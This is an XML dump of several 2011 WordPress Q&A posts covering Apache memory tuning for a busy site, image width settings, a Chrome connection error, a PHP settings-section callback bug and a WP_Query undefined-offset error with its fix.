  <row Id="13944" PostTypeId="1" CreationDate="2011-04-05T03:34:32.053" Score="7" ViewCount="295" Body="&lt;p&gt;Greetings,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a WP site with over than 150k pageviews /day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's running on a Intel Core i5 CPU 760 @ 2.80GHz, with Centos and 4 GB of RAM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is WP consumes too much RAM and after a while serve gets overloaded and RAM runs out. I've tried many Apache tweeks but nothing seems to work. After I restart Apache site will run smoothly but after an hour or two it will get overloaded again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do any of you guys have any tip that will help me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, I'm using WP-Super Cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE: Aditional info&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my list of plugins:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Akismet&lt;/li&gt;&#xA;&lt;li&gt;Contact Form 7&lt;/li&gt;&#xA;&lt;li&gt;Domain Mirror&lt;/li&gt;&#xA;&lt;li&gt;Faster Image Insert&lt;/li&gt;&#xA;&lt;li&gt;IntenseDebate&lt;/li&gt;&#xA;&lt;li&gt;Role Manager&lt;/li&gt;&#xA;&lt;li&gt;SexyBookmarks&lt;/li&gt;&#xA;&lt;li&gt;Smart Youtube&lt;/li&gt;&#xA;&lt;li&gt;Star Rating for Reviews&lt;/li&gt;&#xA;&lt;li&gt;Thumbnail For Excerpts&lt;/li&gt;&#xA;&lt;li&gt;WP-Polls&lt;/li&gt;&#xA;&lt;li&gt;WP-SWFObject&lt;/li&gt;&#xA;&lt;li&gt;WP Super Cache&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As for the tweeks, I've tried some tips &lt;a href=&quot;http://www.devside.net/articles/apache-performance-tuning&quot; rel=&quot;nofollow&quot;&gt;from here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My settings are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;IfModule prefork.c&amp;gt; &#xA;  StartServers       8&#xA;  MinSpareServers    5 &#xA;  MaxSpareServers   20 &#xA;  ServerLimit      256 &#xA;  MaxClients       200 &#xA;  MaxRequestsPerChild  1000&#xA; &amp;lt;/IfModule&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;&amp;lt;IfModule worker.c&amp;gt; &#xA;  StartServers       2 &#xA;  MaxClients         150&#xA;  MinSpareThreads     25 &#xA;  MaxSpareThreads    75&#xA;  ThreadsPerChild     25&#xA;  MaxRequestsPerChild  1000 &#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA; Timeout 120 KeepAlive On&#xA; MaxKeepAliveRequests 100&#xA; KeepAliveTimeout 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also here's my my.cnf&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[mysqld]&#xA;set-variable=local-infile=0&#xA;datadir=/var/lib/mysql&#xA;socket=/var/lib/mysql/mysql.sock&#xA;user=mysql&#xA;# Default to using old password format for compatibility with mysql 3.x&#xA;# clients (those using the mysqlclient10 compatibility package).&#xA;old_passwords=1&#xA;&#xA;# Disabling symbolic-links is recommended to prevent assorted security risks;&#xA;# to do so, uncomment this line:&#xA;# symbolic-links=0&#xA;&#xA;[mysqld_safe]&#xA;log-error=/var/log/mysqld.log&#xA;pid-file=/var/run/mysqld/mysqld.pid&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my current memory usage&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ps -ylC httpd --sort:rss&#xA;&#xA;S   UID   PID  PPID  C PRI  NI   RSS    SZ WCHAN  TTY          TIME CMD&#xA;S   504  8446  8444  0  78   0  7884 59507 554050 ?        00:00:00 httpd&#xA;S   504 29164  8444  0  78   0 13380 87043 -      ?        00:00:00 httpd&#xA;S   504 29268  8444  0  75   0 13396 87043 429493 ?        00:00:00 httpd&#xA;S   504 29294  8444  0  75   0 13396 87043 -      ?        00:00:00 httpd&#xA;S   504 29255  8444  0  75   0 13400 87043 -      ?        00:00:00 httpd&#xA;S   504 29269  8444  0  76   0 13400 87043 387946 ?        00:00:00 httpd&#xA;S   504 29256  8444  0  75   0 13404 87043 -      ?        00:00:00 httpd&#xA;S   504 29265  8444  0  75   0 13404 87043 -      ?        00:00:00 httpd&#xA;S   504 29288  8444  0  75   0 13404 87043 429493 ?        00:00:00 httpd&#xA;S   504 28644  8444  0  75   0 13484 87043 -      ?        00:00:00 httpd&#xA;S   504 29293  8444  0  75   0 13484 87043 semtim ?        00:00:00 httpd&#xA;S   504 27280  8444  0  75   0 13496 87043 -      ?        00:00:00 httpd&#xA;S   504 28332  8444  0  75   0 13500 87043 -      ?        00:00:00 httpd&#xA;S   504 27762  8444  0  75   0 13504 87043 -      ?        00:00:00 httpd&#xA;S   504 28645  8444  0  75   0 13504 87043 -      ?        00:00:00 httpd&#xA;S   504 29242  8444  0  75   0 13508 87043 -      ?        00:00:00 httpd&#xA;S   504 28199  8444  0  75   0 13512 87043 429493 ?        00:00:00 httpd&#xA;S   504 28195  8444  0  75   0 13528 87043 -      ?        00:00:00 httpd&#xA;S   504 28197  8444  0  75   0 13528 87043 429493 ?        00:00:00 httpd&#xA;S   504 27245  8444  0  75   0 13536 87043 -      ?        00:00:00 httpd&#xA;S   504 28196  8444  0  75   0 13536 87043 -      ?        00:00:00 httpd&#xA;S   504 27756  8444  0  75   0 13540 87043 -      ?        00:00:00 httpd&#xA;S   504 27969  8444  0  75   0 13540 87043 -      ?        00:00:00 httpd&#xA;S   504 27074  8444  0  75   0 13544 87043 -      ?        00:00:00 httpd&#xA;S   504 27279  8444  0  75   0 13544 87043 -      ?        00:00:00 httpd&#xA;S   504 27926  8444  0  75   0 13548 87043 -      ?        00:00:00 httpd&#xA;S   504 28191  8444  0  75   0 13548 87043 semtim ?        00:00:00 httpd&#xA;S   504 28673  8444  0  75   0 13548 87043 -      ?        00:00:00 httpd&#xA;S   504 27089  8444  0  75   0 13552 87043 -      ?        00:00:00 httpd&#xA;S   504 27825  8444  0  75   0 13552 87043 -      ?        00:00:00 httpd&#xA;S   504 27974  8444  0  75   0 13552 87043 -      ?        00:00:00 httpd&#xA;S   504 28330  8444  0  75   0 13552 87043 -      ?        00:00:00 httpd&#xA;S   504 26051  8444  0  75   0 13556 87043 -      ?        00:00:00 httpd&#xA;S   504 28343  8444  0  75   0 13556 87043 -      ?        00:00:00 httpd&#xA;S   504 26822  8444  0  75   0 13560 87043 -      ?        00:00:00 httpd&#xA;S   504 27975  8444  0  75   0 13560 87043 -      ?        00:00:00 httpd&#xA;S   504 28662  8444  0  75   0 13560 87043 -      ?        00:00:00 httpd&#xA;S   504 24949  8444  0  75   0 13564 87043 -      ?        00:00:00 httpd&#xA;S   504 28639  8444  0  75   0 13564 87043 -      ?        00:00:00 httpd&#xA;S   504 24924  8444  0  75   0 13572 87043 -      ?        00:00:00 httpd&#xA;S   504 27826  8444  0  75   0 13572 87043 -      ?        00:00:00 httpd&#xA;S   504 28192  8444  0  75   0 13572 87043 -      ?        00:00:00 httpd&#xA;S   504 28683  8444  0  76   0 13572 87043 -      ?        00:00:00 httpd&#xA;S   504 19032  8444  0  75   0 13576 87043 -      ?        00:00:00 httpd&#xA;S   504 26832  8444  0  75   0 13576 87043 -      ?        00:00:00 httpd&#xA;S   504 28186  8444  0  75   0 13580 87043 -      ?        00:00:00 httpd&#xA;S   504 24940  8444  0  75   0 13584 87043 -      ?        00:00:00 httpd&#xA;S   504 27883  8444  0  75   0 13584 87043 -      ?        00:00:00 httpd&#xA;S   504 27962  8444  0  75   0 13588 87043 -      ?        00:00:00 httpd&#xA;S   504 28331  8444  0  75   0 13588 87043 -      ?        00:00:00 httpd&#xA;S   504 18521  8444  0  75   0 13592 87043 -      ?        00:00:00 httpd&#xA;S   504 24291  8444  0  75   0 13592 87043 -      ?        00:00:00 httpd&#xA;S   504 24307  8444  0  75   0 13592 87043 -      ?        00:00:00 httpd&#xA;S   504 26503  8444  0  75   0 13592 87043 -      ?        00:00:00 httpd&#xA;S   504 26510  8444  0  75   0 13592 87043 -      ?        00:00:00 httpd&#xA;S   504 27100  8444  0  75   0 13592 87043 -      ?        00:00:00 httpd&#xA;S   504 27248  8444  0  75   0 13592 87043 429493 ?        00:00:00 httpd&#xA;S   504 28344  8444  0  75   0 13592 87043 429493 ?        00:00:00 httpd&#xA;S   504 24952  8444  0  75   0 13596 87043 -      ?        00:00:00 httpd&#xA;S   504 26588  8444  0  75   0 13596 87043 -      ?        00:00:00 httpd&#xA;S   504 27065  8444  0  75   0 13596 87043 -      ?        00:00:00 httpd&#xA;S   504 27102  8444  0  75   0 13600 87043 -      ?        00:00:00 httpd&#xA;S   504 27104  8444  0  75   0 13600 87043 429493 ?        00:00:00 httpd&#xA;S   504 27474  8444  0  75   0 13600 87043 429493 ?        00:00:00 httpd&#xA;S   504 27763  8444  0  75   0 13600 87043 -      ?        00:00:00 httpd&#xA;S   504 23657  8444  0  75   0 13604 87043 -      ?        00:00:00 httpd&#xA;S   504 24311  8444  0  75   0 13604 87043 -      ?        00:00:00 httpd&#xA;S   504 24790  8444  0  75   0 13604 87043 -      ?        00:00:00 httpd&#xA;S   504 25731  8444  0  75   0 13604 87043 -      ?        00:00:00 httpd&#xA;S   504 27087  8444  0  75   0 13604 87043 -      ?        00:00:00 httpd&#xA;S   504 24473  8444  0  75   0 13608 87043 -      ?        00:00:00 httpd&#xA;S   504 27976  8444  0  75   0 13612 87043 -      ?        00:00:00 httpd&#xA;S   504 28163  8444  0  75   0 13620 87043 -      ?        00:00:00 httpd&#xA;S   504 29266  8444  0  75   0 14204 87043 -      ?        00:00:00 httpd&#xA;S   504 17701  8444  0  75   0 14392 87043 -      ?        00:00:00 httpd&#xA;S   504 27881  8444  0  75   0 14408 87043 -      ?        00:00:00 httpd&#xA;S   504 26593  8444  0  75   0 14412 87043 -      ?        00:00:00 httpd&#xA;S   504 27072  8444  0  76   0 14428 87043 -      ?        00:00:00 httpd&#xA;S   504 17704  8444  0  75   0 15028 87043 -      ?        00:00:00 httpd&#xA;S   504 28674  8444  0  75   0 17076 87299 -      ?        00:00:00 httpd&#xA;S   504 23649  8444  0  75   0 17180 87299 -      ?        00:00:00 httpd&#xA;S   504 21484  8444  0  75   0 17232 87299 429493 ?        00:00:00 httpd&#xA;S   504 24034  8444  0  75   0 17240 87299 -      ?        00:00:00 httpd&#xA;S   504 24941  8444  0  75   0 17248 87299 -      ?        00:00:00 httpd&#xA;S   504 27058  8444  0  75   0 17256 87299 -      ?        00:00:00 httpd&#xA;S   504 24766  8444  0  75   0 17272 87299 -      ?        00:00:00 httpd&#xA;S   504 28333  8444  0  75   0 17284 87299 semtim ?        00:00:00 httpd&#xA;S   504 20565  8444  0  75   0 17296 87299 semtim ?        00:00:00 httpd&#xA;S   504 25462  8444  0  75   0 17296 87299 -      ?        00:00:00 httpd&#xA;S   504 28201  8444  0  75   0 17296 87299 -      ?        00:00:00 httpd&#xA;S   504 28202  8444  0  75   0 17316 87299 -      ?        00:00:00 httpd&#xA;S   504 27968  8444  0  75   0 17328 87299 -      ?        00:00:00 httpd&#xA;S   504 27973  8444  0  75   0 17328 87299 -      ?        00:00:00 httpd&#xA;S   504 24091  8444  0  75   0 17336 87299 429493 ?        00:00:00 httpd&#xA;S   504 28329  8444  0  75   0 17344 87299 -      ?        00:00:00 httpd&#xA;S   504 27885  8444  0  75   0 17352 87299 -      ?        00:00:00 httpd&#xA;S   504 21556  8444  0  75   0 17356 87299 semtim ?        00:00:00 httpd&#xA;S   504 24121  8444  0  75   0 17356 87299 429493 ?        00:00:00 httpd&#xA;S   504 24929  8444  0  75   0 17356 87299 -      ?        00:00:00 httpd&#xA;S   504 27918  8444  0  75   0 17356 87299 -      ?        00:00:00 httpd&#xA;S   504 24778  8444  0  75   0 17360 87299 -      ?        00:00:00 httpd&#xA;S   504 27075  8444  0  75   0 17360 87299 -      ?        00:00:00 httpd&#xA;S   504 20603  8444  0  75   0 17364 87299 -      ?        00:00:00 httpd&#xA;S   504 24031  8444  0  75   0 17364 87299 429493 ?        00:00:00 httpd&#xA;S   504 24791  8444  0  75   0 17364 87299 -      ?        00:00:00 httpd&#xA;S   504 26509  8444  0  75   0 17364 87299 -      ?        00:00:00 httpd&#xA;S   504 27249  8444  0  75   0 17364 87299 -      ?        00:00:00 httpd&#xA;S   504 24148  8444  0  75   0 17372 87299 -      ?        00:00:00 httpd&#xA;S   504 24777  8444  0  75   0 17372 87299 -      ?        00:00:00 httpd&#xA;S   504 24472  8444  0  75   0 17392 87299 semtim ?        00:00:00 httpd&#xA;S   504 24789  8444  0  75   0 17432 87299 429493 ?        00:00:00 httpd&#xA;S   504 27066  8444  0  75   0 17432 87299 429493 ?        00:00:00 httpd&#xA;S   504 27106  8444  0  75   0 17452 87299 -      ?        00:00:00 httpd&#xA;S   504 26508  8444  0  75   0 17472 87299 -      ?        00:00:00 httpd&#xA;S   504 24168  8444  0  75   0 17488 87299 -      ?        00:00:00 httpd&#xA;S   504 22355  8444  0  75   0 17492 87299 -      ?        00:00:00 httpd&#xA;S   504 23656  8444  0  75   0 17844 87555 -      ?        00:00:00 httpd&#xA;S   504 27088  8444  0  75   0 17888 87555 -      ?        00:00:00 httpd&#xA;S   504 28198  8444  0  75   0 17900 87555 -      ?        00:00:00 httpd&#xA;S   504 26694  8444  0  75   0 17960 87555 -      ?        00:00:00 httpd&#xA;S     0  8444     1  0  78   0 20276 87043 -      ?        00:00:00 httpd&#xA;S   504 27271  8444  0  75   0 28796 90883 -      ?        00:00:00 httpd&#xA;S   504 19949  8444  0  75   0 28888 90883 -      ?        00:00:00 httpd&#xA;S   504 25736  8444  0  75   0 29840 91395 -      ?        00:00:00 httpd&#xA;S   504 27086  8444  0  75   0 29848 91395 -      ?        00:00:00 httpd&#xA;S   504 26606  8444  0  75   0 29856 91395 429493 ?        00:00:00 httpd&#xA;S   504 24159  8444  0  75   0 29876 91395 -      ?        00:00:00 httpd&#xA;S   504 26821  8444  0  75   0 29876 91395 -      ?        00:00:00 httpd&#xA;S   504 26815  8444  0  75   0 29932 91395 -      ?        00:00:00 httpd&#xA;S   504 27418  8444  0  75   0 29940 91395 -      ?        00:00:00 httpd&#xA;S   504 27426  8444  0  75   0 29944 91395 semtim ?        00:00:00 httpd&#xA;S   504 27468  8444  0  75   0 29948 91395 -      ?        00:00:00 httpd&#xA;S   504 26587  8444  0  75   0 29952 91395 -      ?        00:00:00 httpd&#xA;S   504 24486  8444  0  75   0 29956 91395 semtim ?        00:00:00 httpd&#xA;S   504 24951  8444  0  75   0 29956 91395 429493 ?        00:00:00 httpd&#xA;S   504 24180  8444  0  75   0 29960 91395 -      ?        00:00:00 httpd&#xA;S   504 24305  8444  0  75   0 29972 91395 -      ?        00:00:00 httpd&#xA;S   504 24467  8444  0  75   0 30008 91395 -      ?        00:00:00 httpd&#xA;S   504 26507  8444  0  75   0 30032 91395 semtim ?        00:00:00 httpd&#xA;S   504 24460  8444  0  75   0 30056 91651 -      ?        00:00:00 httpd&#xA;S   504 23669  8444  0  75   0 30076 91395 -      ?        00:00:00 httpd&#xA;S   504 26580  8444  0  75   0 30088 91651 -      ?        00:00:00 httpd&#xA;S   504 23112  8444  0  75   0 30172 91395 -      ?        00:00:00 httpd&#xA;S   504 26607  8444  0  75   0 30192 91395 -      ?        00:00:00 httpd&#xA;S   504 24772  8444  0  75   0 30212 91395 -      ?        00:00:00 httpd&#xA;S   504 24942  8444  0  75   0 30216 91395 -      ?        00:00:00 httpd&#xA;S   504 24167  8444  0  75   0 30220 91395 -      ?        00:00:00 httpd&#xA;S   504 26478  8444  0  75   0 30228 91395 -      ?        00:00:00 httpd&#xA;S   504 24184  8444  0  75   0 30260 91395 429493 ?        00:00:00 httpd&#xA;S   504 27425  8444  0  75   0 30292 91395 -      ?        00:00:00 httpd&#xA;S   504 22348  8444  0  75   0 30388 91651 -      ?        00:00:00 httpd&#xA;S   504 26605  8444  0  75   0 30396 91651 -      ?        00:00:00 httpd&#xA;S   504 22678  8444  0  75   0 30420 91395 -      ?        00:00:00 httpd&#xA;S   504 24489  8444  0  75   0 30452 91395 153384 ?        00:00:00 httpd&#xA;S   504 24296  8444  0  75   0 30480 91395 -      ?        00:00:00 httpd&#xA;S   504 24095  8444  0  75   0 30600 91651 -      ?        00:00:00 httpd&#xA;S   504 23085  8444  0  75   0 30688 91651 -      ?        00:00:00 httpd&#xA;S   504 19586  8444  0  75   0 30768 91395 -      ?        00:00:00 httpd&#xA;S   504 24182  8444  0  75   0 30768 91395 -      ?        00:00:00 httpd&#xA;S   504 18511  8444  0  75   0 30820 91395 -      ?        00:00:00 httpd&#xA;S   504 26594  8444  0  75   0 30836 91395 -      ?        00:00:00 httpd&#xA;S   504 13358  8444  0  75   0 30856 91651 -      ?        00:00:00 httpd&#xA;S   504 17681  8444  0  75   0 30988 91395 -      ?        00:00:00 httpd&#xA;S   504 22336  8444  0  75   0 31016 91651 -      ?        00:00:00 httpd&#xA;S   504 15690  8444  0  75   0 31040 91395 -      ?        00:00:00 httpd&#xA;S   504 22718  8444  0  75   0 31072 91651 -      ?        00:00:00 httpd&#xA;S   504 19043  8444  0  75   0 31080 91395 -      ?        00:00:00 httpd&#xA;S   504 12815  8444  0  75   0 31108 91651 -      ?        00:00:00 httpd&#xA;S   504 23301  8444  0  75   0 31112 91395 -      ?        00:00:00 httpd&#xA;S   504 24183  8444  0  75   0 31164 91395 -      ?        00:00:00 httpd&#xA;S   504 22670  8444  0  75   0 31180 91395 -      ?        00:00:00 httpd&#xA;S   504 22327  8444  0  75   0 31216 91651 -      ?        00:00:00 httpd&#xA;S   504 21489  8444  0  75   0 31220 91395 -      ?        00:00:00 httpd&#xA;S   504 21474  8444  0  75   0 31284 91395 -      ?        00:00:00 httpd&#xA;S   504 21596  8444  0  75   0 31296 91651 -      ?        00:00:00 httpd&#xA;S   504 22690  8444  0  75   0 31448 91395 -      ?        00:00:00 httpd&#xA;S   504 26595  8444  0  75   0 31452 91651 429493 ?        00:00:00 httpd&#xA;S   504 20312  8444  0  75   0 31476 91651 429493 ?        00:00:00 httpd&#xA;S   504 24313  8444  0  75   0 31592 91397 -      ?        00:00:00 httpd&#xA;S   504 24179  8444  0  75   0 31696 91395 -      ?        00:00:00 httpd&#xA;S   504 22369  8444  0  76   0 31732 88329 -      ?        00:00:00 httpd&#xA;S   504 13373  8444  0  75   0 31768 91395 429493 ?        00:00:00 httpd&#xA;S   504 17667  8444  0  75   0 31960 91651 429493 ?        00:00:00 httpd&#xA;S   504 18517  8444  0  75   0 32012 91651 -      ?        00:00:00 httpd&#xA;S   504  7793  8444  0  75   0 32040 91651 -      ?        00:00:00 httpd&#xA;S   504 17658  8444  0  75   0 32116 91395 -      ?        00:00:00 httpd&#xA;S   504 27272  8444  0  75   0 32224 91395 -      ?        00:00:00 httpd&#xA;S   504 13901  8444  0  75   0 32784 91395 -      ?        00:00:00 httpd&#xA;S   504 15366  8444  0  75   0 33168 91651 -      ?        00:00:00 httpd&#xA;S   504 24577  8444  0  75   0 33256 88085 -      ?        00:00:00 httpd&#xA;S   504 14330  8444  0  75   0 34192 91651 -      ?        00:00:00 httpd&#xA;S   504 15155  8444  0  75   0 34296 91395 -      ?        00:00:00 httpd&#xA;S   504 16312  8444  0  75   0 34496 91395 -      ?        00:00:00 httpd&#xA;S   504 28194  8444  0  75   0 36996 88848 -      ?        00:00:00 httpd&#xA;S   504 24776  8444  0  75   0 43720 92169 429493 ?        00:00:00 httpd&#xA;S   504 20584  8444  0  75   0 44224 92169 -      ?        00:00:00 httpd&#xA;S   504 22331  8444  0  75   0 44636 91913 -      ?        00:00:00 httpd&#xA;S   504 24033  8444  0  75   0 45496 91664 -      ?        00:00:00 httpd&#xA;S   504 22375  8444  0  75   0 46320 91664 -      ?        00:00:00 httpd&#xA;S   504 22378  8444  0  75   0 50064 91664 -      ?        00:00:00 httpd&#xA;S   504 24481  8444  0  75   0 53836 93968 -      ?        00:00:00 httpd&#xA;S   504 22354  8444  0  75   0 62124 93962 -      ?        00:00:00 httpd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Doest that change what you would recommend me?&lt;/p&gt;&#xA;" OwnerUserId="4445" LastEditorUserId="4445" LastEditorDisplayName="" LastEditDate="2011-04-05T20:08:39.470" LastActivityDate="2011-04-05T20:08:39.470" Title="Optimize apache for WP use" Tags="&lt;cache&gt;&lt;performance&gt;&lt;server&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="2" />
  <row Id="13945" PostTypeId="2" ParentId="13927" CreationDate="2011-04-05T03:43:15.633" Score="2" ViewCount="" Body="&lt;h3&gt;You can set a maximum width for all image sizes and WordPress will crop portrait and landscape oriented images to that same width.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;In your media settings set the width field and leave the height field blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/hIHnJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;When you upload a landscape oriented image the size will never go past the max width of 300px and the height will be proportionate .&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/QfVJ8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt; . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;When you upload a portrait orientated image the max width will still be 300px.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/kSje7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt; . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;When the post or page is displayed both images will line up and be the same width:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/wDtkV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-05T03:43:15.633" CommentCount="1" />
  <row Id="13946" PostTypeId="2" ParentId="13942" CreationDate="2011-04-05T04:25:04.473" Score="0" ViewCount="" Body="&lt;p&gt;Your .htaccess and wp-config.php look fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.google.com/search?sourceid=chrome&amp;amp;ie=UTF-8&amp;amp;q=Error%20101&quot; rel=&quot;nofollow&quot;&gt;Error 101&lt;/a&gt; is usually caused by a network, router or proxy issue.  It could also be related to your browser cache and or cookies Have you tried connecting with a different browser or computer or clearing your browsers cookies?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can also be caused by your computers &lt;a href=&quot;http://www.google.com/support/forum/p/Chrome/thread?tid=13bd8aa2533edbe3&amp;amp;hl=en&quot; rel=&quot;nofollow&quot;&gt;antivirus or anti phishing software&lt;/a&gt; which might not recognize your new site yet.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was your home url and site url set the same in your general settings?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they were not you can manually override them in wp-config.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_HOME','http://example.com');&#xA;define('WP_SITEURL','http://example.com');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't thing of anything else it could be.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-05T04:25:04.473" CommentCount="1" />
  <row Id="13947" PostTypeId="1" CreationDate="2011-04-05T04:34:19.210" Score="0" ViewCount="90" Body="&lt;p&gt;I am trying to &lt;code&gt;add_settings_section()&lt;/code&gt; by supplying a callback with parameter as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class warpress_progression_plugin {&#xA;  function warpress_progression_plugin() {&#xA;    $this-&amp;gt;__construct();&#xA;  }&#xA;  function __construct() {&#xA;    add_action('admin_init', array(&amp;amp;$this, 'plugin_admin_init'));&#xA;  }&#xA;  function plugin_admin_init() {&#xA;    $rows = $this-&amp;gt;get_options_structure();&#xA;    for ($i = 0; $i &amp;lt; count($rows); $i++) {&#xA;      add_settings_section('expansion_'.$row-&amp;gt;expansion_id,'',call_user_func(array(&amp;amp;$this, 'display_expansion'), $row-&amp;gt;expansion),'warpress_progression'); // PROBLEM SEEMS TO BE HERE&#xA;    }&#xA;  }&#xA;  function display_expansion($expansion_name) {&#xA;    echo &quot;&amp;lt;h3&amp;gt;&quot; . $expansion_name . &quot;&amp;lt;/h3&amp;gt;&quot;;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I'm getting the following error: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Warning: call_user_func() [function.call-user-func]: First argument is expected to be a valid callback&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, the echo of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;&amp;lt;h3&amp;gt;&quot; . $expansion_name . &quot;&amp;lt;/h3&amp;gt;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is occurring as I would have expected. What am I doing wrong here?&lt;/p&gt;&#xA;" OwnerUserId="4446" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-04-05T07:00:41.077" LastActivityDate="2011-04-05T18:59:30.260" Title="Using call_user_func() within add_settings_section() within a Class" Tags="&lt;plugins&gt;&lt;settings&gt;&lt;callbacks&gt;" AnswerCount="1" />
  <row Id="13948" PostTypeId="1" AcceptedAnswerId="13949" CreationDate="2011-04-05T05:14:43.467" Score="0" ViewCount="230" Body="&lt;p&gt;When I do &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$gallerypage = new WP_Query(array(&#xA;    'post_type' =&amp;gt; 'post',&#xA;    'pagename' =&amp;gt; 'gallery'&#xA;));&#xA;&#xA;$gallerypage-&amp;gt;the_post();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the last line &lt;code&gt;$gallerypage-&amp;gt;the_post();&lt;/code&gt; is giving me errors. Why is that? It seems correct?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Notice: Undefined offset: 0 in /site/url/wp-includes/query.php on line 2719&#xA;Notice: Trying to get property of non-object in /site/url/wp-includes/query.php on line 3491&#xA;Notice: Trying to get property of non-object in /site/url/wp-includes/query.php on line 3493&#xA;Notice: Trying to get property of non-object in /site/url/wp-includes/query.php on line 3495&#xA;Notice: Trying to get property of non-object in /site/url/wp-includes/query.php on line 3496&#xA;Notice: Trying to get property of non-object in /site/url/wp-includes/query.php on line 3503&#xA;Notice: Trying to get property of non-object in /site/url/wp-includes/query.php on line 3514&#xA;Notice: Trying to get property of non-object in /site/url/wp-includes/post-template.php on line 30&#xA;Notice: Trying to get property of non-object in /site/url/wp-includes/post-template.php on line 30&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;wp-includes/query.php line 2717 onwards&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;current_post++;&#xA;&#xA;$this-&amp;gt;post = $this-&amp;gt;posts[$this-&amp;gt;current_post]; // error here?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3788" LastEditorUserId="3788" LastEditorDisplayName="" LastEditDate="2011-04-05T05:23:49.257" LastActivityDate="2011-04-05T05:23:49.257" Title="WP_Query $gallerypage-&gt;the_post() giving Undefined offset: 0" Tags="&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="13949" PostTypeId="2" ParentId="13948" CreationDate="2011-04-05T05:21:24.447" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@JM at Work:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try wrapping &lt;code&gt;$gallerypage-&amp;gt;the_post();&lt;/code&gt; with &lt;code&gt;if ($gallerypage-&amp;gt;have_posts()): ... endif;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($gallerypage-&amp;gt;have_posts()):&#xA;  $gallerypage-&amp;gt;the_post();&#xA;endif; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/The_Loop&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/The_Loop&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-04-05T05:21:24.447" CommentCount="4" />
